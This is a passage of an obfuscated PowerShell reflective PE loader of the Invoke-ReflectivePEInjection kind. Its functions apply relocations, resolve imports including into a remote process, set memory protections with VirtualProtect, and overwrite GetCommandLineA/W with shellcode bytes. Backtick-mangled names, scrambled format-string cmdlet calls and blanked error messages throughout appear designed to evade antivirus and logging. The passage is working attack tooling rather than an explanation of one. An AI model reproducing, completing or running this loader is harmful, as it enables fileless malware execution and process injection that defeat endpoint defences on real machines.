${wIN32`FU`NcTi`ONS}."ME`mSet"."INv`okE"(${ST`A`Rtadd`REsS}, 0, [IntPtr]${di`Ff`ere`NcE}) | &("{0}{2}{1}"-f 'Ou','ll','t-Nu') |
|
} |
|
} |
|
} |
|
Function upd`ATE-meMO`R`Ya`dDRess`es |
|
{ |
|
Param( |
|
[Parameter(posITIon = 0, mANdAtORY = ${t`RUE})] |
|
[System.Object] |
|
${p`e`iNfo}, |
|
|
|
[Parameter(pOsITion = 1, ManDaTorY = ${tr`UE})] |
|
[Int64] |
|
${o`R`iGIN`ALImag`EBa`se}, |
|
|
|
[Parameter(PosITIOn = 2, mAndatoRY = ${T`Rue})] |
|
[System.Object] |
|
${wIN32Con`ST`AN`Ts}, |
|
|
|
[Parameter(PoSitioN = 3, MANDaTory = ${tr`UE})] |
|
[System.Object] |
|
${wi`N32TYp`eS} |
|
) |
|
|
|
[Int64]${baSE`DifFE`REN`CE} = 0 |
|
${AddD`iffeReN`ce} = ${t`Rue} |
|
[UInt32]${im`A`geBA`SerE`L`OCsize} = [System.Runtime.InteropServices.Marshal]::"SIZ`EOf"([Type]${win`3`2TYP`es}."im`AGE_B`AsE_`RElOcAtion") |
|
|
|
if ((${OrigI`NaLIm`Ag`eBASE} -eq [Int64]${Pe`inFo}."e`FfecTivepeH`A`N`D`LE") ` |
|
-or (${pein`Fo}."imaG`E_NT_`hE`ADE`Rs"."optiOn`AL`He`ADER"."baSER`eLO`CatI`o`Nta`BLE"."s`IZE" -eq 0)) |
|
{ |
|
return |
|
} |
|
elseif ((&("{1}{5}{4}{7}{0}{6}{2}{3}"-f'l1','C','ThanVal2AsU','Int','are-','omp','Greater','Va') (${oriG`I`NAL`Im`A`geBAse}) (${PEiN`FO}."eFfeC`TIv`ep`e`HaNdLe")) -eq ${tr`UE}) |
|
{ |
|
${b`As`edIF`FEREn`ce} = &("{4}{1}{5}{0}{2}{3}" -f's','ub-','ig','ned','S','SignedIntAsUn') (${o`R`IGinA`Lim`A`gebAsE}) (${PeiN`Fo}."EFfectIvE`pe`H`An`DlE") |
|
${a`DDDI`FfERenCe} = ${FA`lse} |
|
} |
|
elseif ((&("{1}{6}{3}{4}{7}{0}{5}{2}"-f'al2As','Co','Int','are','-Val1Great','U','mp','erThanV') (${P`eInFO}."EfFE`c`TIVE`peH`AndLE") (${OriGINal`i`ma`g`ebase})) -eq ${TR`Ue}) |
|
{ |
|
${b`A`SeDIFFer`ence} = &("{4}{1}{3}{0}{2}"-f'ig','Signe','ned','dIntAsUns','Sub-') (${p`eI`NFO}."eFfec`T`ivEPeH`A`Nd`lE") (${oRIgINALiM`AgE`Ba`sE}) |
|
} |
|
|
|
[IntPtr]${BaSeRE`Lo`cp`Tr} = [IntPtr](&("{6}{0}{5}{4}{1}{2}{3}" -f 'd','AsUnsig','n','ed','t','-SignedIn','Ad') ([Int64]${pein`FO}."P`eHanD`lE") ([Int64]${PEI`N`Fo}."i`mAge_NT`_H`EAdE`Rs"."op`TiOnALH`eA`d`er"."Ba`SeRelO`cATIoN`T`Ab`Le"."Vi`Rt`U`Alad`dresS")) |
|
while(${t`RUe}) |
|
{ |
|
${bAserElOcAtIO`NT`AB`LE} = [System.Runtime.InteropServices.Marshal]::"Pt`RtOS`T`RUcturE"(${BasE`Rel`O`cptr}, [Type]${w`iN`32tyPes}."im`A`GE_BA`Se_R`eLocatI`ON") |
|
if (${baSerELo`cA`TI`OntAB`le}."sI`Z`Eofb`Lock" -eq 0) |
|
{ |
|
break |
|
} |
|
[IntPtr]${M`eMA`DDrB`ASE} = [IntPtr](&("{2}{3}{4}{1}{0}" -f'd','gne','Add-SignedIntAs','Uns','i') ([Int64]${pe`i`NFO}."pehA`N`Dle") ([Int64]${BaS`e`Re`l`OCAtIo`NTaBLE}."virtU`ALAd`D`RE`ss")) |
|
${nu`m`RE`lo`CaTIOns} = (${BA`SErelOc`A`TiontA`BlE}."si`Ze`OFBl`ocK" - ${i`MaG`Eb`AseR`eLOCSizE}) / 2 |
|
for(${i} = 0; ${i} -lt ${NUmrelO`cAT`iO`NS}; ${I}++) |
|
{ |
|
${re`l`OC`A`TIONinf`opTr} = [IntPtr](&("{1}{0}{2}{4}{3}"-f'Sig','Add-','ned','signed','IntAsUn') ([IntPtr]${Basere`L`Ocp`TR}) ([Int64]${Im`AgEBA`S`e`Re`locsIze} + (2 * ${i}))) |
|
[UInt16]${reloCAt`i`On`In`Fo} = [System.Runtime.InteropServices.Marshal]::"pT`R`T`ostrucTuRe"(${ReLoC`A`TIon`In`FO`pTR}, [Type][UInt16]) |
|
[UInt16]${R`e`LocOFF`sEt} = ${RelOCATi`oni`N`FO} -band 0x0FFF |
|
[UInt16]${R`ELOc`TypE} = ${r`ElOC`AT`IO`NINfo} -band 0xF000 |
|
for (${j} = 0; ${j} -lt 12; ${J}++) |
|
{ |
|
${REl`O`cTY`Pe} = [Math]::"flO`Or"(${re`Lo`ctYpe} / 2) |
|
} |
|
if ((${rE`lOc`TY`pE} -eq ${WiN3`2cOnst`A`NtS}."Ima`ge_`RE`L_b`ASEd_highlOW") ` |
|
-or (${REL`OCTy`PE} -eq ${W`In32`co`NsTantS}."Ima`Ge_`Re`L_BaSeD_D`IR64")) |
|
{ |
|
[IntPtr]${f`iNAL`A`DDr} = [IntPtr](&("{2}{3}{1}{4}{0}" -f 'ned','gnedIn','A','dd-Si','tAsUnsig') ([Int64]${m`EMa`DDRBase}) ([Int64]${REL`OCo`FFSet})) |
|
[IntPtr]${c`URRaD`Dr} = [System.Runtime.InteropServices.Marshal]::"P`T`RtO`stRUCtU`RE"(${fina`LA`dDR}, [Type][IntPtr]) |
|
|
|
if (${ad`dd`ifF`ERE`Nce} -eq ${t`RUE}) |
|
{ |
|
[IntPtr]${C`U`RRA`DDR} = [IntPtr](&("{0}{5}{2}{3}{1}{4}"-f 'Add-Sign','Unsig','I','ntAs','ned','ed') ([Int64]${CURRa`d`Dr}) (${bas`Ed`ifFe`RENcE})) |
|
} |
|
else |
|
{ |
|
[IntPtr]${c`URRaD`dr} = [IntPtr](&("{3}{0}{1}{2}{4}" -f'ne','dIntAs','U','Sub-Sig','nsigned') ([Int64]${curR`AD`Dr}) (${BaS`edIFfE`R`en`Ce})) |
|
} |
|
[System.Runtime.InteropServices.Marshal]::"str`UCtUR`ET`OptR"(${CUrrA`d`dr}, ${FI`NA`lAdDr}, ${F`A`lsE}) | &("{0}{1}{2}"-f 'Out-N','ul','l') |
|
} |
|
elseif (${R`ELoC`TYpe} -ne ${w`IN32C`ON`Sta`NtS}."I`Mage_r`E`L_base`d_`AbS`OLute") |
|
{ |
|
Throw "" |
|
} |
|
} |
|
|
|
${bASe`R`EL`ocpTr} = [IntPtr](&("{0}{2}{1}{3}{4}"-f 'Ad','dI','d-Signe','ntAsUns','igned') ([Int64]${baSE`Re`LoCptR}) ([Int64]${BaseR`elO`cAtI`On`TAble}."S`IZEOfB`LO`cK")) |
|
} |
|
} |
|
Function I`Mpor`T-Dllimp`oR`Ts |
|
{ |
|
Param( |
|
[Parameter(posiTION = 0, MAnDAtORY = ${t`RUE})] |
|
[System.Object] |
|
${pE`i`NFo}, |
|
|
|
[Parameter(pOsITIOn = 1, mAnDatorY = ${tR`Ue})] |
|
[System.Object] |
|
${wIN32F`Un`CTIOnS}, |
|
|
|
[Parameter(PosiTIoN = 2, manDAtOrY = ${Tr`Ue})] |
|
[System.Object] |
|
${wI`N3`2types}, |
|
|
|
[Parameter(POSiTiON = 3, mandAtorY = ${tr`UE})] |
|
[System.Object] |
|
${WIN`32c`o`NstaNts}, |
|
|
|
[Parameter(poSITiOn = 4, MaNdAToRY = ${Fa`l`SE})] |
|
[IntPtr] |
|
${RE`MoTeproC`hA`NdLe} |
|
) |
|
|
|
${REMOTe`LOA`dI`Ng} = ${Fa`l`SE} |
|
if (${PEiN`FO}."peH`ANdle" -ne ${p`Ei`NfO}."EF`FEC`TI`V`ePEh`AndLE") |
|
{ |
|
${ReMOT`E`loADiNG} = ${Tr`UE} |
|
} |
|
|
|
if (${Pe`in`FO}."i`maGE_N`T`_HE`AdERS"."OPTIo`N`AlHE`AdER"."iMpOR`Tt`AblE"."SI`Ze" -gt 0) |
|
{ |
|
[IntPtr]${impOrTd`esC`Ript`OR`pTR} = &("{2}{4}{0}{1}{5}{6}{3}" -f 'edIn','tAs','Add-Si','ed','gn','Uns','ign') ([Int64]${PEIN`FO}."PE`ha`NDle") ([Int64]${PEI`NFo}."iM`AGe`_n`T_hEaDe`RS"."opTiON`ALHea`dEr"."I`mpor`TTAbLe"."ViR`TuaLAd`Dr`Ess") |
|
|
|
while (${TR`UE}) |
|
{ |
|
${IM`P`ORtD`esCr`iPTOr} = [System.Runtime.InteropServices.Marshal]::"ptr`TOS`TrUct`U`Re"(${imPo`RTDe`sCriPtoR`P`Tr}, [Type]${Wi`N32TYp`Es}."ImAg`e_ImPOr`T_De`s`cR`IpToR") |
|
|
|
if (${i`M`pO`RtDescr`iPtoR}."c`ha`R`ACTeriSTiCs" -eq 0 ` |
|
-and ${impOrt`De`sCRI`p`ToR}."FIr`St`THUnK" -eq 0 ` |
|
-and ${imP`orTdE`Scr`iP`TOr}."fo`R`waRderCHA`in" -eq 0 ` |
|
-and ${iMPoRtD`ESC`R`ip`TOR}."NA`ME" -eq 0 ` |
|
-and ${impO`Rtd`EScR`ipT`Or}."TImeDAT`E`ST`AmP" -eq 0) |
|
{ |
|
&("{0}{2}{3}{1}"-f 'Write','ose','-','Verb') "" |
|
break |
|
} |
|
${imPO`RTD`lL`HandlE} = [IntPtr]::"Z`Ero" |
|
${i`mpoR`Td`LLpAth`pTr} = (&("{1}{3}{2}{0}{4}" -f 'ntAsUnsign','A','SignedI','dd-','ed') ([Int64]${pEi`N`FO}."PeH`AndLE") ([Int64]${I`m`portdEs`Cr`IPT`OR}."N`Ame")) |
|
${I`mpO`Rtd`lLP`ATH} = [System.Runtime.InteropServices.Marshal]::"pTrToSTrI`N`G`AnSI"(${iMPO`RTD`Ll`pA`T`hPtr}) |
|
|
|
if (${Re`MoteL`O`A`dinG} -eq ${Tr`Ue}) |
|
{ |
|
${ImP`Or`TdLlhANd`LE} = &("{1}{0}{4}{3}{6}{5}{7}{2}"-f 'ort-','Imp','ss','llInRemot','D','c','ePro','e') -RemoteProcHandle ${rE`M`otePROc`haNdlE} -ImportDllPathPtr ${imPor`TDl`LpaTH`pTr} |
|
} |
|
else |
|
{ |
|
${I`mPortDllh`A`N`dLe} = ${W`In3`2F`UnCT`Ions}."LoA`dLiBr`Ary"."IN`VOKe"(${im`PoR`TdlLPa`TH}) |
|
} |
|
if ((${i`m`pOrT`dLl`HaNdle} -eq ${N`ULl}) -or (${I`mportdL`l`hA`NDLE} -eq [IntPtr]::"ze`Ro")) |
|
{ |
|
throw "" |
|
} |
|
|
|
[IntPtr]${tHU`NKR`EF} = &("{3}{4}{2}{0}{1}"-f'IntAsUn','signed','gned','Ad','d-Si') (${P`eI`Nfo}."PEHA`NDlE") (${IM`pOr`Tdescri`PToR}."f`irst`ThUNK") |
|
[IntPtr]${O`RIgiN`AL`THunKRef} = &("{2}{3}{4}{1}{0}{5}" -f'si','ntAsUn','Add','-','SignedI','gned') (${p`EinFo}."pEha`Nd`le") (${iM`pORTD`ES`CriPTOR}."CHA`Rac`Te`RiS`TiCS") |
|
[IntPtr]${oRiG`inaLthu`NKre`FvaL} = [System.Runtime.InteropServices.Marshal]::"pTR`TOSTR`UCt`URE"(${OrIg`i`NAlTH`UNkreF}, [Type][IntPtr]) |
|
|
|
while (${oRIG`inALtH`U`Nk`REfV`AL} -ne [IntPtr]::"zE`Ro") |
|
{ |
|
${LOA`DbYord`I`NAL} = ${fA`LsE} |
|
[IntPtr]${PR`O`C`e`DuRena`meptR} = [IntPtr]::"z`erO" |
|
[IntPtr]${NEw`Th`U`NkReF} = [IntPtr]::"Ze`RO" |
|
if([System.Runtime.InteropServices.Marshal]::"SI`ZEOF"([Type][IntPtr]) -eq 4 -and [Int32]${o`R`igiN`AlThUnk`RefVaL} -lt 0) |
|
{ |
|
[IntPtr]${pRo`C`EDUreN`AME`PTr} = [IntPtr]${ORIgIN`A`LthUnKRef`V`Al} -band 0xffff |
|
${loAdb`yO`RD`inAL} = ${T`RuE} |
|
} |
|
elseif([System.Runtime.InteropServices.Marshal]::"sI`zeOf"([Type][IntPtr]) -eq 8 -and [Int64]${oRi`gi`NA`LTHUNk`Re`Fv`Al} -lt 0) |
|
{ |
|
[IntPtr]${pR`OCeDUR`ENAM`eptR} = [Int64]${or`IgIn`ALt`H`Un`KReFVAL} -band 0xffff |
|
${LOAd`BYoR`dInal} = ${t`RuE} |
|
} |
|
else |
|
{ |
|
[IntPtr]${STR`IN`gADdr} = &("{2}{5}{1}{3}{0}{4}" -f'g','AsUn','Add','si','ned','-SignedInt') (${pE`InFo}."PEhaN`dlE") (${orIgi`NAL`T`HU`N`krEFVAl}) |
|
${STrI`NGA`D`dr} = &("{6}{1}{5}{7}{2}{3}{4}{0}" -f'd','n','tAsUnsi','g','ne','e','Add-Sig','dIn') ${s`TrINg`A`ddr} ([System.Runtime.InteropServices.Marshal]::"sIZe`Of"([Type][UInt16])) |
|
${PROC`edUrE`N`Ame} = [System.Runtime.InteropServices.Marshal]::"ptR`TOst`RI`N`GaNSi"(${str`in`G`ADdr}) |
|
${pRoCEdURE`Nam`EP`Tr} = [System.Runtime.InteropServices.Marshal]::"st`RIN`g`TO`HGLoBalA`NSI"(${prO`C`E`d`URENAmE}) |
|
} |
|
|
|
if (${rEMOt`ElOA`D`ING} -eq ${TR`UE}) |
|
{ |
|
[IntPtr]${New`ThUnk`Ref} = &("{2}{4}{3}{0}{1}" -f 'rocAddres','s','Get-Re','P','mote') -RemoteProcHandle ${r`EmoTeP`ROcH`AnDLE} -RemoteDllHandle ${I`mPOrtD`LlhAnDLe} -FunctionNamePtr ${P`RoCeD`U`RenAmEpTr} -LoadByOrdinal ${LoA`dbY`o`R`DINAL} |
|
} |
|
else |
|
{ |
|
[IntPtr]${nEw`T`HUnk`REF} = ${WI`N`32Fu`NcT`IoNs}."gEtp`RocADDrE`sSinTp`TR"."i`NvOke"(${i`M`poRTDLl`HaNd`Le}, ${pr`oC`EdUrEna`MePtR}) |
|
} |
|
|
|
if (${nEwtHU`NK`R`eF} -eq ${n`UlL} -or ${n`ewtH`UNKRef} -eq [IntPtr]::"z`ErO") |
|
{ |
|
if (${LO`A`DByordiN`Al}) |
|
{ |
|
Throw "" |
|
} |
|
else |
|
{ |
|
Throw "" |
|
} |
|
} |
|
[System.Runtime.InteropServices.Marshal]::"STr`UcTur`ET`op`Tr"(${neW`THUN`kREF}, ${ThUNk`R`Ef}, ${fA`lSe}) |
|
|
|
${tH`U`NKrEF} = &("{4}{3}{5}{2}{1}{0}{6}" -f's','dIntA','ne','dd-Si','A','g','Unsigned') ([Int64]${t`HUN`kreF}) ([System.Runtime.InteropServices.Marshal]::"S`IzeOF"([Type][IntPtr])) |
|
[IntPtr]${O`RigIN`A`ltHuNKReF} = &("{2}{3}{4}{0}{1}"-f'signe','d','Add-Si','gnedIntAsU','n') ([Int64]${o`Ri`gIN`A`lthUnKreF}) ([System.Runtime.InteropServices.Marshal]::"s`IZeOf"([Type][IntPtr])) |
|
[IntPtr]${or`I`g`inAlTh`U`NKreF`VaL} = [System.Runtime.InteropServices.Marshal]::"pTrt`O`StRuC`TuRE"(${oRi`GI`N`AlTHUnk`REF}, [Type][IntPtr]) |
|
if ((-not ${LoA`db`yoRdi`NaL}) -and (${PrO`CedUre`NAM`ePTr} -ne [IntPtr]::"z`ERO")) |
|
{ |
|
[System.Runtime.InteropServices.Marshal]::"f`Ree`hgLob`Al"(${pRocEdU`ReN`Am`E`PTr}) |
|
${pRocedUrE`Nam`E`PTr} = [IntPtr]::"z`ERO" |
|
} |
|
} |
|
|
|
${ImpO`RTdE`s`CRiPtoRPTR} = &("{5}{3}{4}{2}{1}{0}"-f 'AsUnsigned','Int','gned','d','-Si','Ad') (${iMPO`RtDEScRip`TorP`Tr}) ([System.Runtime.InteropServices.Marshal]::"SIZ`Eof"([Type]${wIN`32TY`pES}."IMAGE_imPOrT_d`ES`CR`IpTOR")) |
|
} |
|
} |
|
} |
|
Function Get-vIrtUa`lPROtEc`T`Va`lUE |
|
{ |
|
Param( |
|
[Parameter(pOSItIOn = 0, mANdAToRY = ${tR`UE})] |
|
[UInt32] |
|
${sE`CTi`ONC`Ha`RAct`EriStI`cS} |
|
) |
|
|
|
${PRoT`Ect`ion`FLaG} = 0x0 |
|
if ((${Sec`TiONc`HA`Ra`ctEristicS} -band ${WiN3`2CON`StANTs}."IMaGe_s`cn`_mEM_e`xe`CUte") -gt 0) |
|
{ |
|
if ((${sECtI`O`NcH`Ar`A`Ct`Eri`STicS} -band ${W`iN32`C`onSTAn`TS}."IMa`gE_SCN_M`EM_re`Ad") -gt 0) |
|
{ |
|
if ((${seCTiON`cHA`RAC`TerIS`T`iCs} -band ${W`IN3`2CoNsTanTS}."I`m`Ag`E_sCN_meM_wrITe") -gt 0) |
|
{ |
|
${pROtE`CT`IonfL`AG} = ${w`In32C`O`N`sTanTs}."p`Ag`E_`eXEc`U`Te_r`eaDwRITe" |
|
} |
|
else |
|
{ |
|
${PROT`ECT`iONF`lag} = ${wi`N32Co`NStAnTs}."pa`Ge_ExEcute`_`R`EAd" |
|
} |
|
} |
|
else |
|
{ |
|
if ((${sEC`T`iONCHARACT`er`I`stI`CS} -band ${WI`N32CO`N`STaNtS}."imAGE_sCN_MeM`_w`R`i`TE") -gt 0) |
|
{ |
|
${ProTE`cTIo`NFL`AG} = ${Win3`2CON`St`A`NTS}."P`AG`E_ExEc`UtE_`W`RIt`ecoPY" |
|
} |
|
else |
|
{ |
|
${p`R`oTec`TIoN`FlAg} = ${W`in32co`Ns`TA`NtS}."PAg`e_eXE`cu`TE" |
|
} |
|
} |
|
} |
|
else |
|
{ |
|
if ((${se`ct`ionCH`ArAcT`Er`isTICs} -band ${W`iN32`cO`N`stanTs}."Image`_sc`N_`MEm`_ReAd") -gt 0) |
|
{ |
|
if ((${sE`cT`IOncha`R`A`c`Teri`stIcS} -band ${wIn3`2cON`stAn`TS}."IM`A`ge_sCn_meM_`WR`i`Te") -gt 0) |
|
{ |
|
${PROT`ec`TI`OnfLag} = ${WiN`32CO`NstAn`Ts}."P`Ag`e_r`EaDwr`ITE" |
|
} |
|
else |
|
{ |
|
${PRo`Te`ctIO`NF`lag} = ${wIn32CONst`An`TS}."Pag`e_`R`EADOnLy" |
|
} |
|
} |
|
else |
|
{ |
|
if ((${s`ectIonC`hAra`ct`ER`IStics} -band ${W`in32COnStan`TS}."I`mA`ge`_SCn_`m`eM_wRite") -gt 0) |
|
{ |
|
${pR`o`Te`ctIoNFlAg} = ${WI`N32`cOnsT`Ants}."p`AGe_W`RIte`cOpY" |
|
} |
|
else |
|
{ |
|
${Pro`TecTIO`NF`LAg} = ${WiN3`2c`o`Nst`ANtS}."p`AgE_nOacC`ess" |
|
} |
|
} |
|
} |
|
|
|
if ((${SeCT`Io`NchAr`ACtErIs`T`ICS} -band ${W`in`32CONs`TA`Nts}."ImagE_`ScN_MeM_`NOT_CA`c`heD") -gt 0) |
|
{ |
|
${PR`OTe`ctionf`lAg} = ${PR`O`TEctIon`FLaG} -bor ${wIn32C`onst`AN`Ts}."P`AgE_`NOCAc`HE" |
|
} |
|
|
|
return ${PROte`C`TI`OnfLaG} |
|
} |
|
Function U`PDAtE-`mEMORY`PrO`TECtiONflAgS |
|
{ |
|
Param( |
|
[Parameter(pOSITiOn = 0, MaNDatoRY = ${t`Rue})] |
|
[System.Object] |
|
${pe`i`NFo}, |
|
|
|
[Parameter(poSition = 1, maNDAToRY = ${T`RUE})] |
|
[System.Object] |
|
${WIN3`2fU`NC`TIons}, |
|
|
|
[Parameter(pOSItION = 2, ManDaTOry = ${T`RUe})] |
|
[System.Object] |
|
${wIn`32COnStAN`Ts}, |
|
|
|
[Parameter(pOSitIOn = 3, MANDAtorY = ${t`RuE})] |
|
[System.Object] |
|
${W`iN32tyP`ES} |
|
) |
|
|
|
for( ${i} = 0; ${i} -lt ${P`eINfo}."ImAGE_`N`T`_`heADERS"."FI`L`eHeAdER"."NU`mBE`RofsE`Cti`ONS"; ${i}++) |
|
{ |
|
[IntPtr]${sEc`Tio`NHeaDERp`TR} = [IntPtr](&("{3}{2}{1}{0}" -f 'gned','tAsUnsi','d-SignedIn','Ad') ([Int64]${P`ei`NFO}."sectI`oN`HeaD`Er`PTr") (${i} * [System.Runtime.InteropServices.Marshal]::"S`I`zeOf"([Type]${Win32Ty`p`es}."iM`Age_SEc`TION_HeAd`er"))) |
|
${sECTIonHeA`d`eR} = [System.Runtime.InteropServices.Marshal]::"PtrT`OStR`Uc`TU`RE"(${sECTi`ON`HEADER`p`Tr}, [Type]${win32`TY`P`ES}."IMAgE_seCTIOn`_`H`eAdER") |
|
[IntPtr]${S`ecti`ON`PtR} = &("{1}{5}{6}{0}{3}{2}{4}{7}" -f'edIn','Add-S','sUns','tA','i','i','gn','gned') (${pEI`NFO}."P`EHANdLe") (${S`ect`IoNhE`AD`ER}."viRTuAladDr`e`ss") |
|
|
|
[UInt32]${P`R`OtEC`TflAg} = &("{3}{5}{4}{1}{2}{0}"-f 'ue','tect','Val','Get','o','-VirtualPr') ${sectiON`HEa`D`ER}."cHArAc`Te`R`isTics" |
|
[UInt32]${Se`C`Ti`oNSize} = ${sEctION`hE`ADer}."VIRtUA`LSI`zE" |
|
|
|
[UInt32]${OLdp`Ro`TeC`TFl`Ag} = 0 |
|
&("{0}{1}{4}{3}{2}" -f 'Test','-','moryRangeValid','e','M') -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo ${Pein`FO} -StartAddress ${se`CTion`pTR} -Size ${sEct`iO`NS`izE} | &("{1}{0}{2}" -f'ut-N','O','ull') |
|
${SUC`C`esS} = ${WIn32`Fun`cT`iONs}."VIrtuAl`pROTe`CT"."i`NVo`kE"(${sEc`T`ionp`Tr}, ${sECt`iO`Nsi`ZE}, ${p`RoTe`CTF`Lag}, [Ref]${old`PR`Otect`F`lAG}) |
|
if (${SU`cc`eSs} -eq ${fA`lSE}) |
|
{ |
|
Throw "" |
|
} |
|
} |
|
} |
|
|
|
Function UP`dA`TE-Ex`EFun`cTioNs |
|
{ |
|
Param( |
|
[Parameter(POsitiON = 0, MANdaToRY = ${Tr`UE})] |
|
[System.Object] |
|
${Pe`iN`FO}, |
|
|
|
[Parameter(pOSITIoN = 1, manDATORY = ${tr`Ue})] |
|
[System.Object] |
|
${wI`N`32FuNCTIOnS}, |
|
|
|
[Parameter(POSitIOn = 2, mANDAtORY = ${tr`UE})] |
|
[System.Object] |
|
${w`In`32CONSTanTS}, |
|
|
|
[Parameter(PoSitIon = 3, MaNdAtOry = ${t`RuE})] |
|
[String] |
|
${EXE`ArgUM`E`NTs}, |
|
|
|
[Parameter(POsITIoN = 4, manDATORY = ${T`RuE})] |
|
[IntPtr] |
|
${EXEd`o`NebyTEPTr} |
|
) |
|
|
|
${r`eTuRnaR`RAy} = @() |
|
|
|
${PTr`S`IzE} = [System.Runtime.InteropServices.Marshal]::"Siz`EoF"([Type][IntPtr]) |
|
[UInt32]${ol`dpR`oT`ECTflAG} = 0 |
|
|
|
[IntPtr]${kERn`El32`HAn`dlE} = ${W`iN3`2fUnCT`I`Ons}."ge`TmODule`hAnd`LE"."INVo`ke"("Kernel32.dll") |
|
if (${KERnel32H`A`N`Dle} -eq [IntPtr]::"z`eRO") |
|
{ |
|
throw "" |
|
} |
|
|
|
[IntPtr]${KeRn`ElBA`S`EhAndLE} = ${w`in32`FU`N`cTIoNs}."gEtM`odU`LeHAnDLe"."iN`Voke"("KernelBase.dll") |
|
if (${kEr`NElBAs`E`HANdLe} -eq [IntPtr]::"Z`ERo") |
|
{ |
|
throw "" |
|
} |
|
${CMdlIN`e`WAR`gs`p`Tr} = [System.Runtime.InteropServices.Marshal]::"S`TriNg`TO`HgLobaLU`Ni"(${e`xEAr`G`UmEn`TS}) |
|
${cM`DL`ineAA`RGSPtR} = [System.Runtime.InteropServices.Marshal]::"sTrinGtohG`L`OBAl`ANSi"(${ex`e`AR`gu`MeNTs}) |
|
|
|
[IntPtr]${g`EtcoMMAnD`LInE`AA`ddr} = ${wiN`32`FunC`TioNs}."GET`P`ROCaDDr`E`ss"."i`NVoke"(${kErN`eLB`AsEh`A`N`DlE}, "GetCommandLineA") |
|
[IntPtr]${G`eTco`MMan`dL`inewa`D`Dr} = ${wIn3`2`Fun`cT`IOns}."GET`pROcadD`R`ess"."I`Nvo`kE"(${kERNeLB`AS`eh`AnD`Le}, "GetCommandLineW") |
|
if (${gETCommaNdli`Ne`AaD`DR} -eq [IntPtr]::"Z`eRO" -or ${gETcOM`MAnd`Li`Ne`waDdR} -eq [IntPtr]::"z`eRO") |
|
{ |
|
throw "" |
|
} |
|
[Byte[]]${s`HelLC`OD`E1} = @() |
|
if (${pTrS`I`ze} -eq 8) |
|
{ |
|
${SH`el`lCO`DE1} += 0x48 |
|
} |
|
${S`hEl`l`CoDE1} += 0xb8 |
|
|
|
[Byte[]]${sH`Ellc`OD`e2} = @(0xc3) |
|
${tOT`Als`IZE} = ${shel`lC`oDe1}."leN`G`Th" + ${PTR`sI`ze} + ${s`he`Ll`COde2}."L`e`Ngth" |
|
|
|
|
|
${g`Et`co`MmaN`Dlin`EAo`RIgbY`T`ESPtr} = [System.Runtime.InteropServices.Marshal]::"Al`LOchG`lOB`AL"(${toT`A`LsIZe}) |
|
${GeTC`omma`NdLINEWor`i`gbY`T`e`Sp`TR} = [System.Runtime.InteropServices.Marshal]::"ALloCH`G`l`OBal"(${t`Ot`Al`SizE}) |
|
${Win3`2fU`NCT`ionS}."meMc`Py"."IN`Vo`ke"(${gEtC`O`mmaND`l`iN`E`AOriGB`ytES`pTR}, ${gE`TComm`AnDL`I`NE`Aa`DdR}, [UInt64]${TO`T`AlsIze}) | &("{2}{1}{0}"-f'l','t-Nul','Ou') |
|
${WIn3`2FuN`CTi`onS}."MeM`Cpy"."In`VOKe"(${g`etc`o`Mmand`Linew`oriGb`YTe`S`PTr}, ${g`eT`cOmm`A`NDLInewA`d`Dr}, [UInt64]${ToTa`l`SIze}) | &("{0}{2}{1}"-f 'Out','ull','-N') |
|
${RET`Ur`N`ARraY} += ,(${GEtCoMMA`Nd`l`inE`AAdDR}, ${GetCoMM`A`NDLI`Ne`Ao`R`IGb`YT`Esptr}, ${t`otaLs`ize}) |
|
${REtU`RN`ArrAY} += ,(${Ge`Tc`oM`M`AndlInewAdDr}, ${gEtC`OmmAn`d`lI`NEwOR`iGb`YtesPTr}, ${TO`TALsI`ze}) |
|
[UInt32]${o`L`DPrO`TECTFlaG} = 0 |
|
${Su`c`cESs} = ${wI`N32`Fu`N`cTIONs}."virT`UaLp`RoteCT"."iNVO`Ke"(${g`eTCOmMan`dLi`N`EaaD`dr}, [UInt32]${To`TA`ls`iZE}, [UInt32](${win`32cONs`TA`NtS}."page_exEcUTe`_R`eAdwri`TE"), [Ref]${OLDPrOT`ECt`F`LaG}) |
|
if (${suC`C`Ess} = ${fAl`Se}) |
|
{ |
|
throw "" |
|
} |
|
|
|
${gEt`c`OmManD`line`Aad`DRte`mp} = ${gETCommaND`lI`NEa`A`DDr} |
|
&("{0}{1}{4}{2}{3}" -f 'Write-B','ytesT','Memo','ry','o') -Bytes ${she`llC`oDE1} -MemoryAddress ${GetC`o`m`m`AndLi`NeaADdrteMp} |
|
${GEtCo`mMa`NDLI`Ne`Aa`ddrt`EmP} = &("{5}{2}{1}{4}{3}{0}" -f 'ned','Un','d-SignedIntAs','g','si','Ad') ${GET`CO`mmaNDLINE`AADdr`TEMP} (${shELL`c`od`e1}."l`EngtH") |
|
[System.Runtime.InteropServices.Marshal]::"s`TRUc`Ture`Top`TR"(${cM`dl`in`eAArgSptR}, ${GEtcOMManDlI`N`Ea`ADd`R`Te`Mp}, ${Fa`l`Se}) |
|
${GetComMAnDL`INE`Aaddrt`e`mP} = &("{1}{3}{4}{2}{0}" -f 'AsUnsigned','Add-Si','nt','g','nedI') ${GEtcomM`A`NdlinEa`Addrte`MP} ${ptRsi`Ze} |
|
&("{0}{2}{1}{3}{5}{4}"-f'Wr','t','ite-By','e','emory','sToM') -Bytes ${SH`e`L`lCodE2} -MemoryAddress ${GETCoMma`Ndl`InE`AaDDrt`emP} |
|
|
|
${w`In32funCt`Io`NS}."v`IRT`U`ALProteCt"."iN`VOKe"(${gEtcOM`MaNdl`inE`AA`dDr}, [UInt32]${To`TaLS`IZe}, [UInt32]${Ol`d`proTEC`TFL`Ag}, [Ref]${o`lDPR`OTe`cTfL`AG}) | &("{1}{0}{2}" -f 'ut-Nul','O','l') |
|
|
|
|
|
[UInt32]${Ol`DProtEc`T`FLaG} = 0 |
|
${s`UccESs} = ${win32FUNC`T`IONs}."vIR`Tu`A`lpROT`EcT"."iNV`Oke"(${Ge`T`CO`mMAnDLIn`eWA`D`dr}, [UInt32]${t`o`TalSIZe}, [UInt32](${Win32c`o`NST`A`Nts}."pA`Ge_eX`eCUt`e_r`eadWr`I`Te"), [Ref]${oLd`pROTE`cTfl`AG}) |
|
if (${s`UC`cEsS} = ${fA`L`Se}) |
|
{ |
|
throw "" |
|
} |
|
|
|
${g`etcoMM`ANDlIne`Wa`dDrteMP} = ${GetCOM`mA`Nd`L`iNEwAddr} |
|
&("{0}{5}{1}{3}{6}{2}{4}" -f'W','t','oM','e-Byt','emory','ri','esT') -Bytes ${She`lLCoD`e1} -MemoryAddress ${gE`T`comManDL`InEW`AdDrTEmp} |
|
